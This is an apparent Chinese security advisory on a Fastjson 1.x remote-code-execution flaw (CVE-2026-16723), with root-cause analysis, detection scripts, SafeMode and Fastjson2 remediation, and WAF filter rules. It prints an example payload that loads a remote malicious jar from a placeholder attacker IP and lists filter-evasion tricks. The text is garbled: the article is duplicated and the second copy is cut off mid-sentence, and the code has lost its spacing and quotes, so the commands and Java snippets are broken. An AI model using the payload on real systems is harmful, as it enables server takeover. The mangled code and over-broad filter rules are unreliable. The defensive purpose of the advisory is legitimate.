漏洞前置预警2026年7月最新高危漏洞2026年7月下旬长亭科技、Imperva、The Hacker News 三家权威威胁情报平台同步放出Fastjson 1.x全新高危远程代码执行漏洞CVE-2026-16723。CVSS评分直接给到9.0属于无需身份认证就能远程拿下服务器的顶级高危漏洞。这次漏洞直接推翻行业多年积累的Fastjson防御逻辑。之前企业通用的两套防护手段关闭AutoType、清理项目本地Gadget依赖现在全部失效。这也是Fastjson 1.x生命周期末尾杀伤力最强的一次漏洞爆发。截至2026年7月28日阿里官方没有放出任何适配1.x系列的修复补丁官方给出唯一长效解决办法只有整体迁移Fastjson2。国内大量政企、传统互联网系统还在大规模使用Fastjson1.xJava生态受波及范围极大。目前全网监测到批量扫描、定向利用的在野攻击流量公网直接暴露接口的SpringBoot项目随时存在被入侵风险。1. 漏洞基础信息精准梳理1.1 漏洞核心参数参数项详细内容CVE 编号CVE-2026-16723风险等级高危 CVSS 9.0远程代码执行影响版本Fastjson 1.2.68 - 1.2.831.x全部后期稳定版利用门槛极低未认证、无登录、不需要本地Gadget依赖修复状态1.x无官方补丁仅可临时加固根治必须迁移Fastjson2攻击现状公开在野攻击样本流通全网自动化批量扫描流量持续上涨高危场景SpringBoot FatJar胖Jar启动项目国内九成企业线上部署方案1.2 本次漏洞颠覆性特征区别所有历史Fastjson漏洞过往Fastjson各类RCE漏洞不管是AutoType各类绕过还是依托TemplatesImpl、JdbcRowSetImpl的Gadget利用链都存在固定防御思路。关闭自动类型转换、删减项目内危险依赖、WAF拦截type关键字三层防护叠加基本就能挡住攻击。CVE-2026-16723完全打破这套防御体系。整理出漏洞四点核心突破点也是企业现有防护全部失效的根本原因纯Gadget-Free利用零本地依赖传统Fastjson远程代码执行必须要求项目classpath中存在对应恶意调用链组件。很多企业通过瘦身Jar包、移除冷门第三方依赖完成基础防护。该漏洞不依赖任何本地组件纯净原生JDK环境就能触发完整RCE依赖层面的防护手段直接作废。AutoType完全关闭依旧可利用绝大多数企业内部Fastjson安全规范都会全局关闭autoTypeSupport自动类型解析。本次漏洞攻击链路完全不依赖AutoType开关状态配置设为false的情况下漏洞核心执行逻辑照常运行行业通用基础防护彻底失去作用。SpringBoot胖Jar专属高危链路漏洞触发核心依托SpringBoot自定义类加载器LaunchedURLClassLoader。这个类加载器原生支持jarhttp复合资源协议能主动向外网拉取远程Jar资源。目前企业线上绝大多数SpringBoot服务都采用java -jar胖Jar部署天然命中高危触发条件。传统Tomcat War包部署风险会大幅降低但仍存在SSRF辅助攻击隐患。无认证直接攻击攻击面极广攻击者只需要向系统任意接收JSON参数的接口发送构造好的请求不需要登录凭证、Cookie、Token。公网暴露的接口会直接变成攻击入口无需任何前置权限校验。2. 漏洞底层原理源码级溯源第一性原理分析网上大部分相关文章只会罗列漏洞现象不会拆解底层代码逻辑。我直接对照Fastjson1.x 1.2.83完整源码从ParserConfig类加载流程、外部资源探测、JSONType注解校验三个维度拆解漏洞真实触发逻辑。只有吃透底层缺陷才能搭建完整防御体系而不是单纯堆砌各类临时配置。2.1 正常防御逻辑企业原有认知常规场景下开发者关闭AutoType后Fastjson会拦截所有type自定义类型解析行为拒绝动态加载项目内未知类从入口阻断绝大多数反序列化攻击。开启SafeMode安全模式后框架会直接禁用全部动态类型解析逻辑安全防护等级拉满。Fastjson 1.2.68之后的迭代版本官方持续收紧AutoType黑白名单策略初衷是提升整体安全性。但在资源加载逻辑分支留下一处致命逻辑盲区最终演化成本次高危漏洞。2.2 漏洞核心代码缺陷漏洞根源集中在FastjsonParserConfig.checkAutoType方法的代码执行顺序错误。源码内存在一处致命逻辑AutoType开关的拦截判断代码执行顺序晚于资源探测、远程类加载逻辑。直白来说无论开发者是否关闭AutoType总开关Fastjson都会主动执行类资源探测逻辑尝试加载远程路径内的资源文件。攻击者传入携带jar:http协议的恶意type字段后完整执行流程如下Fastjson接收外部传入的JSON参数解析出攻击者可控的type字段内容框架优先执行资源定位逻辑调用ClassLoader.getResourceAsStream()探测目标类资源SpringBoot LaunchedURLClassLoader识别jarhttp复合协议主动向外网攻击者控制的服务器请求恶意Jar包框架内置ASM字节码解析工具完整扫描远程拉取的类文件字节码若远程类包含JSONType注解框架直接跳过全部AutoType黑白名单、权限校验分支恶意类加载完成自动执行静态代码块触发服务器任意系统命令执行完成远程代码执行攻击。2.3 漏洞触发完整流程图A[攻击者发送恶意JSON请求] -- B{解析获取type字段}B -- C[执行getResourceAsStream资源探测逻辑]C -- D[LaunchedURLClassLoader解析jar:http协议]D -- E[向外网拉取远程恶意Jar包]E -- F[ASM字节码扫描解析类信息]F -- G{检测类是否携带JSONType注解}G – 存在注解 -- H[绕过全部AutoType校验规则]H -- I[加载恶意类并执行静态代码块]I -- J[服务器触发远程代码执行RCE]G – 无注解 -- K[拦截当前请求攻击失败]2.4 核心攻击Payload解析本次漏洞核心Payload结构简单没有复杂多层嵌套、额外依赖拼接也是传统关键词WAF难以识别拦截的关键原因。{type:jar:http://攻击IP:端口/evil.jar!/EvilExecClass,data:test}攻击者可以通过十进制IP编码、URL全编码、大小写字符混淆、JSON参数乱序等多种方式绕过常规简单关键词拦截规则。只拦截type本地恶意类名的传统WAF规则完全无法识别这类新型远程Jar加载Payload。2.5 完整利用必要条件缺一不可很多人误以为所有引入Fastjson1.x的项目都存在可利用漏洞实际触发攻击存在严格场景限制。整理精准命中高危风险的全部条件企业可以快速完成资产风险分级版本条件Fastjson版本落在1.2.68 ~ 1.2.83区间部署条件SpringBoot服务通过java -jar胖Jar方式启动使用LaunchedURLClassLoader类加载器配置条件未开启Fastjson SafeMode安全模式框架默认关闭状态业务条件系统存在接收外部原始JSON参数的HTTP接口、MQ消息消费、第三方数据解析逻辑网络条件Java业务进程具备外网出站访问权限能够主动访问公网服务器环境条件JDK8环境风险最高JDK11/17存在JVM安全限制但依旧存在受限利用路径。3. 企业全维度自动化排查方案可直接落地整理全套可复制执行的排查脚本、检索命令覆盖代码仓库层、线上运行进程层、容器Pod层、项目配置层。企业安全运维人员可以批量执行快速定位系统内高危资产清单。3.1 本地代码工程版本批量检索适用于研发Git仓库、本地项目源码、批量代码库扫描快速筛选引入高危Fastjson版本的工程。Maven项目排查命令# 全局检索所有pom.xml文件中fastjson依赖find.-namepom.xml-typef-execgrep-lcom.alibaba:fastjson{}\;# 精准过滤高危版本区间1.2.68~1.2.83find.-namepom.xml-typef-execgrep-E1\.2\.(6[8-9]|7[0-9]|8[0-3]){}\;Gradle项目排查命令find.-namebuild.gradle-typef-execgrep-lfastjson{}\;find.-namebuild.gradle-typef-execgrep-E1\.2\.(6[8-9]|7[0-9]|8[0-3]){}\;3.2 线上运行服务实时排查适用于物理服务器、Docker容器、K8s Pod内运行的Java进程精准识别正在运行的高危服务。# 排查运行Java进程是否加载高危版本fastjsonps-ef|grepjava|grep-Efastjson-1\.2\.(6[8-9]|7[0-9]|8[0-3])# 判断当前服务是否采用SpringBoot胖Jar高危启动方式ps-ef|grepjava|grepjava -jar# 检测JVM启动参数是否开启fastjson安全模式ps-ef|grepjava|grepfastjson.parser.safeModetrue3.3 代码配置风险排查检索项目内存在裸JSON解析的高危代码这类代码是漏洞利用的核心入口外部攻击者可以随意注入恶意type字段。# 检索无固定实体类的裸JSON解析高危代码grep-rJSON.parseObject(--include*.java|grep-vclassgrep-rJSON.parseArray(--include*.java|grep-vclass简单说明不带实体Class参数的parseObject、parseArray调用会完全信任外部传入的完整JSON结构攻击者能够随意插入type字段。解析时强制传入固定DTO实体类框架会限制JSON字段结构从业务代码层面拦截绝大多数反序列化攻击。3.4 全自动Shell巡检脚本企业批量巡检专用封装一键风险巡检脚本执行后自动输出服务器高危服务清单、风险等级、对应加固建议安全巡检、等保自查场景可以直接使用。#!/bin/bashecho CVE-2026-16723 批量风险巡检脚本 echo1. 检测Fastjson高危版本运行进程ps-ef|grepjava|grep-Efastjson-1\.2\.(6[8-9]|7[0-9]|8[0-3])if[$?-eq0];thenecho[高危] 当前服务器存在Fastjson漏洞风险进程elseecho[安全] 服务器无高危Fastjson版本运行进程fiecho2. 检测SpringBoot胖Jar高危启动方式ps-ef|grepjava|grepjava -jarif[$?-eq0];thenecho[预警] 服务器存在SpringBoot胖Jar部署服务漏洞利用风险升高fiecho3. 检测SafeMode安全模式开启状态ps-ef|grepjava|grepfastjson.parser.safeModetrueif[$?-ne0];thenecho[高危] 未开启Fastjson安全模式存在可被利用漏洞风险elseecho[安全] 已开启SafeMode安全防护fiecho 本次服务器巡检完成 4. 分等级应急加固方案零停机、可直接上线结合阿里官方无1.x修复补丁的现状加固方案划分三层紧急止血临时方案、长期根治迁移方案、多层辅助防御方案。适配不同企业业务迭代节奏同时兼顾系统安全性和业务可用性不会出现线上功能大面积失效问题。4.1 紧急零停机加固全局开启SafeMode首选开启SafeMode后Fastjson会直接禁用全部动态类型解析逻辑从底层截断本次漏洞完整触发链路。不需要修改业务代码、替换项目依赖线上重启服务即可完成加固零业务侵入。提供三种部署方式适配容器、虚拟机、微服务各类场景。方式1JVM启动参数零代码修改、最快生效适配所有SpringBoot胖Jar部署项目修改启动脚本添加参数重启服务完成加固。java-Dfastjson.parser.safeModetrue-jaryour-project.jar方式2Spring全局配置类优先级最高适合不允许修改JVM启动参数的容器化、K8s集群环境项目启动时自动加载全局安全配置。importcom.alibaba.fastjson.parser.ParserConfig;importorg.springframework.stereotype.Component;importjavax.annotation.PostConstruct;ComponentpublicclassFastjsonSecurityConfig{PostConstructpublicvoidinitSafeMode(){// 使用全局单例配置避免新建ParserConfig实例引发FullGC性能损耗ParserConfig.getGlobalInstance().setSafeMode(true);}}方式3配置文件全局生效在resources资源目录新建fastjson.properties配置文件统一管控项目全局Fastjson安全策略。fastjson.parser.safeModetrue兼容说明如果业务原有逻辑依赖type实现动态多态序列化解析开启SafeMode后对应功能会直接失效。这类业务需要临时改造代码改用固定DTO实体接收JSON参数彻底舍弃动态类型解析逻辑。4.2 临时替换方案noneautotype纯净版本直接替换依赖为阿里官方阉割AutoType功能的特殊版本底层移除全部动态类型解析代码直接消除漏洞入口。dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.83_noneautotype/version/dependency该版本完全禁用所有自动类型转换逻辑不存在任何动态类加载能力安全等级极高。适合不存在多态JSON解析需求的后台管理、数据同步类系统。4.3 根治唯一方案Fastjson2 完整迁移指南阿里官方明确表态不会针对Fastjson1.x发布任何新漏洞修复补丁1.x系列已经全面停止维护迭代。长期安全层面全量迁移Fastjson2是企业唯一稳定可靠的解决方案。整理完整迁移步骤规避常见兼容踩坑点。步骤1移除旧依赖引入Fastjson2依赖!-- 移除废弃fastjson1.x依赖 --dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.83/version/dependency!-- 引入fastjson2核心依赖 --dependencygroupIdcom.alibaba.fastjson2/groupIdartifactIdfastjson2/artifactIdversion2.0.61/version/dependency!-- 兼容扩展包适配老代码API降低改造工作量 --dependencygroupIdcom.alibaba.fastjson2/groupIdartifactIdfastjson2-extension/artifactIdversion2.0.61/version/dependency步骤2代码适配改造核心要点包路径全局替换项目内所有com.alibaba.fastjson导入包统一替换为com.alibaba.fastjson2JSONObject不再继承HashMap删除所有强转Map、直接Map遍历的业务代码SerializerFeature枚举大量常量重构更名对照官方文档完成适配移除项目内全部自定义AutoType黑白名单配置Fastjson2默认自带严格安全限制JSONType、JSONField注解部分属性行为变更完成序列化、反序列化全场景回归测试。步骤3回归测试重点范围迁移依赖完成后重点覆盖接口入参序列化、嵌套复杂对象解析、日期格式化、空值/Null字段处理、枚举序列化五大场景避免线上出现JSON解析兼容故障。5. 多层防护体系WAF网关业务网络全维度防御单一代码层加固无法抵御各类变形Payload攻击企业必须搭建多层联动防御体系。提供可直接复制部署的Nginx、SpringCloud Gateway拦截规则配合防火墙网络策略形成闭环防护。5.1 Nginx WAF 精准拦截规则拦截本次漏洞核心Payload特征同时拦截各类变形攻击流量适配所有Web后端项目。# 拦截所有请求体、URL参数内的type恶意字段 if ($request_body ~* type) { return 403; } if ($request_uri ~* type) { return 403; } # 拦截本次漏洞核心jar远程加载协议特征 if ($request_body ~* jar:http) { return 403; } # 拦截大小写混淆变形Payload if ($request_body ~* (JAR|HTTP)) { return 403; }5.2 SpringCloud Gateway 全局过滤规则微服务架构专用网关防护全局清洗所有请求JSON内容直接删除type相关恶意字段从网关层阻断攻击入口。importorg.springframework.cloud.gateway.filter.GlobalFilter;importorg.springframework.cloud.gateway.filter.GatewayFilterChain;importorg.springframework.core.annotation.Order;importorg.springframework.http.server.reactive.ServerHttpRequest;importorg.springframework.stereotype.Component;importorg.springframework.web.server.ServerWebExchange;importreactor.core.publisher.Mono;importjava.nio.charset.StandardCharsets;ComponentOrder(-100)publicclassJsonTypeFilterimplementsGlobalFilter{OverridepublicMonoVoidfilter(ServerWebExchangeexchange,GatewayFilterChainchain){returnexchange.getRequest().getBody().flatMap(data-{StringbodynewString(data.asByteBuffer().array(),StandardCharsets.UTF_8);// 正则清除JSON内全部type字段StringcleanBodybody.replaceAll(\type\:\[^\]*\,);ServerHttpRequestnewRequestexchange.getRequest().mutate().body(cleanBody.getBytes(StandardCharsets.UTF_8)).build();returnchain.filter(exchange.mutate().request(newRequest).build());});}}5.3 业务层终极防护规范所有对外暴露接口禁止使用无实体类裸解析强制使用固定DTO实体接收JSON参数从业务代码源头杜绝反序列化攻击。高危错误写法大量线上项目存在// 完全信任外部原始JSON极易被注入恶意type字段Stringjsonrequest.getBody();JSONObjectjsonObjectJSON.parseObject(json);安全规范标准写法// 固定实体类约束JSON结构外部无法注入恶意类型字段UserDTOuserJSON.parseObject(json,UserDTO.class);5.4 网络层防护策略限制业务Java进程外网出站访问权限通过防火墙、云服务器安全组阻断未知公网地址访问生产环境禁止业务进程主动拉取外网Jar包、第三方资源文件核心业务服务器彻底关闭公网出站权限仅放行业务必需的内部服务、第三方接口域名。6. 企业风险分级处置标准落地执行优先级避免企业无差别全量整改浪费人力成本结合漏洞完整利用条件划分三级风险等级明确对应整改时效贴合企业内部安全运维、漏洞闭环处置流程。6.1 高危风险24小时内紧急加固闭环Fastjson 1.2.68~1.2.83 SpringBoot胖Jar部署 未开启SafeMode 公网暴露接口 进程具备外网出站权限。这类资产攻击者无需认证即可完整远程代码执行存在服务器失陷、数据泄露风险必须第一时间完成止血加固。6.2 中危风险72小时内完成整改项目命中Fastjson高危版本区间但采用Tomcat War包部署、服务器无外网出站访问权限。无法完整触发RCE攻击但存在SSRF、服务器信息泄露辅助攻击风险限期完成加固处理。6.3 低危风险跟随常规版本迭代修复系统已开启SafeMode安全模式、使用noneautotype阉割版本、或已经完成Fastjson2全量迁移不存在漏洞利用前置条件无需紧急整改跟随日常版本迭代优化即可。7. 在野攻击对抗与溯源分析目前Imperva、长亭科技威胁情报平台持续捕获在野攻击流量攻击行为具备统一特征全网自动化批量扫描公网80/443/8080常用Web端口、请求统一携带jar:http协议Payload、高频遍历SpringBoot默认接口路径。攻击者依靠自动化扫描工具识别系统内JSON接口批量投递构造好的恶意请求入侵服务器后植入挖矿程序、远控木马、数据窃取脚本。企业运维人员需要重点监控服务器近期异常外网出站流量、未知外网Jar资源下载请求发现异常流量及时溯源阻断。8. 总结与企业长期安全建议CVE-2026-16723漏洞爆发根源是Fastjson1.x底层架构设计缺陷并非简单单行代码BUG。阿里官方全面停止1.x版本维护迭代后存量组件所有新暴露漏洞不会再有任何官方补丁修复后续还会持续出现各类新型绕过、无Gadget攻击链路。短期应急阶段企业通过开启SafeMode、替换noneautotype版本、部署WAF拦截规则可以快速止血阻断当下在野攻击长期安全建设层面全量迁移Fastjson2是唯一稳定长效解决方案。单纯依靠临时加固、流量拦截规则只能解决短期风险无法抵御后续迭代更新的新型攻击手段。企业同时需要搭建Java第三方依赖常态化巡检机制定时扫描项目内开源组件版本杜绝长期使用停止维护、存在高危漏洞的老旧组件从软件供应链层面规避开源组件安全风险。互动提问评论区交流你们项目目前还在使用 Fastjson1.x 吗是否已经完成 SafeMode 加固或者 Fastjson2 迁移迁移 Fastjson2 过程中你遇到过哪些兼容适配的坑可以评论区交流避坑经验。
CVE-2026-16723 Fastjson1.x无Gadget RCE实战排查｜全网最全应急加固迁移部署教程
漏洞前置预警2026年7月最新高危漏洞2026年7月下旬长亭科技、Imperva、The Hacker News 三家权威威胁情报平台同步放出Fastjson 1.x全新高危远程代码执行漏洞CVE-2026-16723。CVSS评分直接给到9.0属于无需身份认证就能远程拿下服务器的顶级高危漏洞。这次漏洞直接推翻行业多年积累的Fastjson防御逻辑。之前企业通用的两套防护手段关闭AutoType、清理项目本地Gadget依赖现在全部失效。这也是Fastjson 1.x生命周期末尾杀伤力最强的一次漏洞爆发。截至2026年7月28日阿里官方没有放出任何适配1.x系列的修复补丁官方给出唯一长效解决办法只有整体迁移Fastjson2。国内大量政企、传统互联网系统还在大规模使用Fastjson1.xJava生态受波及范围极大。目前全网监测到批量扫描、定向利用的在野攻击流量公网直接暴露接口的SpringBoot项目随时存在被入侵风险。1. 漏洞基础信息精准梳理1.1 漏洞核心参数参数项详细内容CVE 编号CVE-2026-16723风险等级高危 CVSS 9.0远程代码执行影响版本Fastjson 1.2.68 - 1.2.831.x全部后期稳定版利用门槛极低未认证、无登录、不需要本地Gadget依赖修复状态1.x无官方补丁仅可临时加固根治必须迁移Fastjson2攻击现状公开在野攻击样本流通全网自动化批量扫描流量持续上涨高危场景SpringBoot FatJar胖Jar启动项目国内九成企业线上部署方案1.2 本次漏洞颠覆性特征区别所有历史Fastjson漏洞过往Fastjson各类RCE漏洞不管是AutoType各类绕过还是依托TemplatesImpl、JdbcRowSetImpl的Gadget利用链都存在固定防御思路。关闭自动类型转换、删减项目内危险依赖、WAF拦截type关键字三层防护叠加基本就能挡住攻击。CVE-2026-16723完全打破这套防御体系。整理出漏洞四点核心突破点也是企业现有防护全部失效的根本原因纯Gadget-Free利用零本地依赖传统Fastjson远程代码执行必须要求项目classpath中存在对应恶意调用链组件。很多企业通过瘦身Jar包、移除冷门第三方依赖完成基础防护。该漏洞不依赖任何本地组件纯净原生JDK环境就能触发完整RCE依赖层面的防护手段直接作废。AutoType完全关闭依旧可利用绝大多数企业内部Fastjson安全规范都会全局关闭autoTypeSupport自动类型解析。本次漏洞攻击链路完全不依赖AutoType开关状态配置设为false的情况下漏洞核心执行逻辑照常运行行业通用基础防护彻底失去作用。SpringBoot胖Jar专属高危链路漏洞触发核心依托SpringBoot自定义类加载器LaunchedURLClassLoader。这个类加载器原生支持jarhttp复合资源协议能主动向外网拉取远程Jar资源。目前企业线上绝大多数SpringBoot服务都采用java -jar胖Jar部署天然命中高危触发条件。传统Tomcat War包部署风险会大幅降低但仍存在SSRF辅助攻击隐患。无认证直接攻击攻击面极广攻击者只需要向系统任意接收JSON参数的接口发送构造好的请求不需要登录凭证、Cookie、Token。公网暴露的接口会直接变成攻击入口无需任何前置权限校验。2. 漏洞底层原理源码级溯源第一性原理分析网上大部分相关文章只会罗列漏洞现象不会拆解底层代码逻辑。我直接对照Fastjson1.x 1.2.83完整源码从ParserConfig类加载流程、外部资源探测、JSONType注解校验三个维度拆解漏洞真实触发逻辑。只有吃透底层缺陷才能搭建完整防御体系而不是单纯堆砌各类临时配置。2.1 正常防御逻辑企业原有认知常规场景下开发者关闭AutoType后Fastjson会拦截所有type自定义类型解析行为拒绝动态加载项目内未知类从入口阻断绝大多数反序列化攻击。开启SafeMode安全模式后框架会直接禁用全部动态类型解析逻辑安全防护等级拉满。Fastjson 1.2.68之后的迭代版本官方持续收紧AutoType黑白名单策略初衷是提升整体安全性。但在资源加载逻辑分支留下一处致命逻辑盲区最终演化成本次高危漏洞。2.2 漏洞核心代码缺陷漏洞根源集中在FastjsonParserConfig.checkAutoType方法的代码执行顺序错误。源码内存在一处致命逻辑AutoType开关的拦截判断代码执行顺序晚于资源探测、远程类加载逻辑。直白来说无论开发者是否关闭AutoType总开关Fastjson都会主动执行类资源探测逻辑尝试加载远程路径内的资源文件。攻击者传入携带jar:http协议的恶意type字段后完整执行流程如下Fastjson接收外部传入的JSON参数解析出攻击者可控的type字段内容框架优先执行资源定位逻辑调用ClassLoader.getResourceAsStream()探测目标类资源SpringBoot LaunchedURLClassLoader识别jarhttp复合协议主动向外网攻击者控制的服务器请求恶意Jar包框架内置ASM字节码解析工具完整扫描远程拉取的类文件字节码若远程类包含JSONType注解框架直接跳过全部AutoType黑白名单、权限校验分支恶意类加载完成自动执行静态代码块触发服务器任意系统命令执行完成远程代码执行攻击。2.3 漏洞触发完整流程图A[攻击者发送恶意JSON请求] -- B{解析获取type字段}B -- C[执行getResourceAsStream资源探测逻辑]C -- D[LaunchedURLClassLoader解析jar:http协议]D -- E[向外网拉取远程恶意Jar包]E -- F[ASM字节码扫描解析类信息]F -- G{检测类是否携带JSONType注解}G – 存在注解 -- H[绕过全部AutoType校验规则]H -- I[加载恶意类并执行静态代码块]I -- J[服务器触发远程代码执行RCE]G – 无注解 -- K[拦截当前请求攻击失败]2.4 核心攻击Payload解析本次漏洞核心Payload结构简单没有复杂多层嵌套、额外依赖拼接也是传统关键词WAF难以识别拦截的关键原因。{type:jar:http://攻击IP:端口/evil.jar!/EvilExecClass,data:test}攻击者可以通过十进制IP编码、URL全编码、大小写字符混淆、JSON参数乱序等多种方式绕过常规简单关键词拦截规则。只拦截type本地恶意类名的传统WAF规则完全无法识别这类新型远程Jar加载Payload。2.5 完整利用必要条件缺一不可很多人误以为所有引入Fastjson1.x的项目都存在可利用漏洞实际触发攻击存在严格场景限制。整理精准命中高危风险的全部条件企业可以快速完成资产风险分级版本条件Fastjson版本落在1.2.68 ~ 1.2.83区间部署条件SpringBoot服务通过java -jar胖Jar方式启动使用LaunchedURLClassLoader类加载器配置条件未开启Fastjson SafeMode安全模式框架默认关闭状态业务条件系统存在接收外部原始JSON参数的HTTP接口、MQ消息消费、第三方数据解析逻辑网络条件Java业务进程具备外网出站访问权限能够主动访问公网服务器环境条件JDK8环境风险最高JDK11/17存在JVM安全限制但依旧存在受限利用路径。3. 企业全维度自动化排查方案可直接落地整理全套可复制执行的排查脚本、检索命令覆盖代码仓库层、线上运行进程层、容器Pod层、项目配置层。企业安全运维人员可以批量执行快速定位系统内高危资产清单。3.1 本地代码工程版本批量检索适用于研发Git仓库、本地项目源码、批量代码库扫描快速筛选引入高危Fastjson版本的工程。Maven项目排查命令# 全局检索所有pom.xml文件中fastjson依赖find.-namepom.xml-typef-execgrep-lcom.alibaba:fastjson{}\;# 精准过滤高危版本区间1.2.68~1.2.83find.-namepom.xml-typef-execgrep-E1\.2\.(6[8-9]|7[0-9]|8[0-3]){}\;Gradle项目排查命令find.-namebuild.gradle-typef-execgrep-lfastjson{}\;find.-namebuild.gradle-typef-execgrep-E1\.2\.(6[8-9]|7[0-9]|8[0-3]){}\;3.2 线上运行服务实时排查适用于物理服务器、Docker容器、K8s Pod内运行的Java进程精准识别正在运行的高危服务。# 排查运行Java进程是否加载高危版本fastjsonps-ef|grepjava|grep-Efastjson-1\.2\.(6[8-9]|7[0-9]|8[0-3])# 判断当前服务是否采用SpringBoot胖Jar高危启动方式ps-ef|grepjava|grepjava -jar# 检测JVM启动参数是否开启fastjson安全模式ps-ef|grepjava|grepfastjson.parser.safeModetrue3.3 代码配置风险排查检索项目内存在裸JSON解析的高危代码这类代码是漏洞利用的核心入口外部攻击者可以随意注入恶意type字段。# 检索无固定实体类的裸JSON解析高危代码grep-rJSON.parseObject(--include*.java|grep-vclassgrep-rJSON.parseArray(--include*.java|grep-vclass简单说明不带实体Class参数的parseObject、parseArray调用会完全信任外部传入的完整JSON结构攻击者能够随意插入type字段。解析时强制传入固定DTO实体类框架会限制JSON字段结构从业务代码层面拦截绝大多数反序列化攻击。3.4 全自动Shell巡检脚本企业批量巡检专用封装一键风险巡检脚本执行后自动输出服务器高危服务清单、风险等级、对应加固建议安全巡检、等保自查场景可以直接使用。#!/bin/bashecho CVE-2026-16723 批量风险巡检脚本 echo1. 检测Fastjson高危版本运行进程ps-ef|grepjava|grep-Efastjson-1\.2\.(6[8-9]|7[0-9]|8[0-3])if[$?-eq0];thenecho[高危] 当前服务器存在Fastjson漏洞风险进程elseecho[安全] 服务器无高危Fastjson版本运行进程fiecho2. 检测SpringBoot胖Jar高危启动方式ps-ef|grepjava|grepjava -jarif[$?-eq0];thenecho[预警] 服务器存在SpringBoot胖Jar部署服务漏洞利用风险升高fiecho3. 检测SafeMode安全模式开启状态ps-ef|grepjava|grepfastjson.parser.safeModetrueif[$?-ne0];thenecho[高危] 未开启Fastjson安全模式存在可被利用漏洞风险elseecho[安全] 已开启SafeMode安全防护fiecho 本次服务器巡检完成 4. 分等级应急加固方案零停机、可直接上线结合阿里官方无1.x修复补丁的现状加固方案划分三层紧急止血临时方案、长期根治迁移方案、多层辅助防御方案。适配不同企业业务迭代节奏同时兼顾系统安全性和业务可用性不会出现线上功能大面积失效问题。4.1 紧急零停机加固全局开启SafeMode首选开启SafeMode后Fastjson会直接禁用全部动态类型解析逻辑从底层截断本次漏洞完整触发链路。不需要修改业务代码、替换项目依赖线上重启服务即可完成加固零业务侵入。提供三种部署方式适配容器、虚拟机、微服务各类场景。方式1JVM启动参数零代码修改、最快生效适配所有SpringBoot胖Jar部署项目修改启动脚本添加参数重启服务完成加固。java-Dfastjson.parser.safeModetrue-jaryour-project.jar方式2Spring全局配置类优先级最高适合不允许修改JVM启动参数的容器化、K8s集群环境项目启动时自动加载全局安全配置。importcom.alibaba.fastjson.parser.ParserConfig;importorg.springframework.stereotype.Component;importjavax.annotation.PostConstruct;ComponentpublicclassFastjsonSecurityConfig{PostConstructpublicvoidinitSafeMode(){// 使用全局单例配置避免新建ParserConfig实例引发FullGC性能损耗ParserConfig.getGlobalInstance().setSafeMode(true);}}方式3配置文件全局生效在resources资源目录新建fastjson.properties配置文件统一管控项目全局Fastjson安全策略。fastjson.parser.safeModetrue兼容说明如果业务原有逻辑依赖type实现动态多态序列化解析开启SafeMode后对应功能会直接失效。这类业务需要临时改造代码改用固定DTO实体接收JSON参数彻底舍弃动态类型解析逻辑。4.2 临时替换方案noneautotype纯净版本直接替换依赖为阿里官方阉割AutoType功能的特殊版本底层移除全部动态类型解析代码直接消除漏洞入口。dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.83_noneautotype/version/dependency该版本完全禁用所有自动类型转换逻辑不存在任何动态类加载能力安全等级极高。适合不存在多态JSON解析需求的后台管理、数据同步类系统。4.3 根治唯一方案Fastjson2 完整迁移指南阿里官方明确表态不会针对Fastjson1.x发布任何新漏洞修复补丁1.x系列已经全面停止维护迭代。长期安全层面全量迁移Fastjson2是企业唯一稳定可靠的解决方案。整理完整迁移步骤规避常见兼容踩坑点。步骤1移除旧依赖引入Fastjson2依赖!-- 移除废弃fastjson1.x依赖 --dependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.83/version/dependency!-- 引入fastjson2核心依赖 --dependencygroupIdcom.alibaba.fastjson2/groupIdartifactIdfastjson2/artifactIdversion2.0.61/version/dependency!-- 兼容扩展包适配老代码API降低改造工作量 --dependencygroupIdcom.alibaba.fastjson2/groupIdartifactIdfastjson2-extension/artifactIdversion2.0.61/version/dependency步骤2代码适配改造核心要点包路径全局替换项目内所有com.alibaba.fastjson导入包统一替换为com.alibaba.fastjson2JSONObject不再继承HashMap删除所有强转Map、直接Map遍历的业务代码SerializerFeature枚举大量常量重构更名对照官方文档完成适配移除项目内全部自定义AutoType黑白名单配置Fastjson2默认自带严格安全限制JSONType、JSONField注解部分属性行为变更完成序列化、反序列化全场景回归测试。步骤3回归测试重点范围迁移依赖完成后重点覆盖接口入参序列化、嵌套复杂对象解析、日期格式化、空值/Null字段处理、枚举序列化五大场景避免线上出现JSON解析兼容故障。5. 多层防护体系WAF网关业务网络全维度防御单一代码层加固无法抵御各类变形Payload攻击企业必须搭建多层联动防御体系。提供可直接复制部署的Nginx、SpringCloud Gateway拦截规则配合防火墙网络策略形成闭环防护。5.1 Nginx WAF 精准拦截规则拦截本次漏洞核心Payload特征同时拦截各类变形攻击流量适配所有Web后端项目。# 拦截所有请求体、URL参数内的type恶意字段 if ($request_body ~* type) { return 403; } if ($request_uri ~* type) { return 403; } # 拦截本次漏洞核心jar远程加载协议特征 if ($request_body ~* jar:http) { return 403; } # 拦截大小写混淆变形Payload if ($request_body ~* (JAR|HTTP)) { return 403; }5.2 SpringCloud Gateway 全局过滤规则微服务架构专用网关防护全局清洗所有请求JSON内容直接删除type相关恶意字段从网关层阻断攻击入口。importorg.springframework.cloud.gateway.filter.GlobalFilter;importorg.springframework.cloud.gateway.filter.GatewayFilterChain;importorg.springframework.core.annotation.Order;importorg.springframework.http.server.reactive.ServerHttpRequest;importorg.springframework.stereotype.Component;importorg.springframework.web.server.ServerWebExchange;importreactor.core.publisher.Mono;importjava.nio.charset.StandardCharsets;ComponentOrder(-100)publicclassJsonTypeFilterimplementsGlobalFilter{OverridepublicMonoVoidfilter(ServerWebExchangeexchange,GatewayFilterChainchain){returnexchange.getRequest().getBody().flatMap(data-{StringbodynewString(data.asByteBuffer().array(),StandardCharsets.UTF_8);// 正则清除JSON内全部type字段StringcleanBodybody.replaceAll(\type\:\[^\]*\,);ServerHttpRequestnewRequestexchange.getRequest().mutate().body(cleanBody.getBytes(StandardCharsets.UTF_8)).build();returnchain.filter(exchange.mutate().request(newRequest).build());});}}5.3 业务层终极防护规范所有对外暴露接口禁止使用无实体类裸解析强制使用固定DTO实体接收JSON参数从业务代码源头杜绝反序列化攻击。高危错误写法大量线上项目存在// 完全信任外部原始JSON极易被注入恶意type字段Stringjsonrequest.getBody();JSONObjectjsonObjectJSON.parseObject(json);安全规范标准写法// 